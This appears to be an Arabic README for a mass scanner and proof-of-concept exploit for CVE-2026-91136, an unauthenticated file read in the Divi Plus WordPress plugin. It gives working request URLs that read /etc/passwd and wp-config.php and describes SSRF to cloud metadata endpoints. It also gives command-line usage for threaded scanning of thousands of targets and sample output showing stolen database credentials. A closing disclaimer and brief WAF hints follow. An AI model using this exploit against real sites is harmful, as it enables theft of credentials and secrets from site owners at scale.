
ماسح ضخم واستغلال PoC للثغرة CVE-2026-91136، وهي قراءة ملفات تعسفية دون مصادقة في إضافة Divi Plus لـ WordPress عبر معامل REST الخاص بـ svg_image.
Divi Plus (Elicus) — إضافة WordPress ≤ 2.4.0 — قراءة ملفات عشوائية دون مصادقة
عبر المعامل svg_image في مساحة أسماء REST التابعة لـ elicus/v1.
| السمة | التفاصيل |
|---|---|
| معرّف CVE | CVE-2026-91136 |
| سلسلة الاستغلال | svg_image → file_get_contents() (بديل wp_remote_get) → JSON html |
| الخطورة | 🟠 عالية (CVSS 7.5) |
| الهدف | Divi Plus (Divi Extended / Elicus) |
| الإصدارات المتأثرة | ≤ 2.4.0 |
| الإصدار المُصلَح | 2.4.1 |
| المصادقة المطلوبة | لا شيء |
تُرجع الدالة SVGAnimatorController::index_permission القيمة true دون أي شرط، لذا يمكن الوصول إلى نقطة النهاية /wp-json/elicus/v1/dipl-modules/svg-animator دون مصادقة. يمر مُدخل svg_image فقط عبر sanitize_text_field() وesc_html() — وهما لا يقيّدان مسارات نظام الملفات، ولا غلاف تدفق file://، ولا عناوين URL البعيدة — قبل تمريره إلى file_get_contents() (مع بديل wp_remote_get()). يُعاد جسم الاستجابة الخام في حقل JSON المسمّى html.
GET /wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
│
▼
index_permission() = true (no auth)
│
▼
svg_image -> sanitize_text_field/esc_html (no path restriction)
│
▼
file_get_contents() -> fallback wp_remote_get()
│
▼
{"html":"root:x:0:0:root:/root:/bin/bash\n..."}
التأثير: قراءة /etc/passwd، وwp-config.php (بيانات اعتماد قاعدة البيانات + مفاتيح التشفير)،
والبيانات الوصفية السحابية عبر SSRF (169.254.169.254 / GCP / Azure / DO / OCI)، و.env
وأي ملف آخر يستطيع مستخدم الويب قراءته.
# single target
python CVE-2026-91136.py -u https://target.com
# mass scan
python CVE-2026-91136.py -i targets.txt -t 20 -o results
# interactive (banner -> targets -> threads)
python CVE-2026-91136.py
| الخيار | الوصف |
|---|---|
-u/--url URL | هدف واحد |
-i/--input FILE | ملف الأهداف، هدف واحد في كل سطر (يُسمح بتعليقات #) |
-t/--threads N | عدد الخيوط (يُطلب تفاعليًا إذا لم يُحدَّد) |
--timeout N | مهلة الطلب (الافتراضي 12) |
-q/--quiet | إظهار النتائج الإيجابية فقط؛ والباقي يذهب إلى العدّاد المضمّن |
-v/--verbose | إظهار سطر واحد لكل هدف |
-o/--output FILE | كتابة النتائج إلى JSONL + FILE.hits.txt |
[OK] https://target.com ✓ 1 ✗ 0
passwd: root:x:0:0:root:/root:/bin/bash
link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
wp-config: /var/www/html/wp-config.php
link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/var/www/html/wp-config.php
DB_NAME=wordpress
DB_USER=wp_user
DB_PASSWORD=***
DB_HOST=localhost
✓ OK: 1 ✗ FAIL: 2979 total: 2980
[████░░░░] 42% (1250/2980) ✓ 3 ✗ 1247results.hits.txt — الأهداف المؤكدة القابلة للاستغلال فقطsvg-animator + الإصدار عبر أصول divi-plus ?ver=wp-config.php: مرشحات ثابتة + أدلة /home/<user>/ الحقيقية المستخرجة من /etc/passwd├── CVE-2026-91136.py # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore
╔══════════════════════════════════════════════════════════════════╗
║ LEGAL DISCLAIMER ║
╠══════════════════════════════════════════════════════════════════╣
║ This tool is provided for EDUCATIONAL and AUTHORIZED ║
║ SECURITY TESTING purposes only. ║
║ Only use on systems you own or have explicit permission. ║
║ The author is NOT responsible for any misuse or damage. ║
╚══════════════════════════════════════════════════════════════════╝
GET/POST /wp-json/elicus/v1/dipl-modules/svg-animator على جدار الحماية WAFsvg_image التي تحتوي على file:// أو /etc/ أو عناوين IP الخاصة بالبيانات الوصفية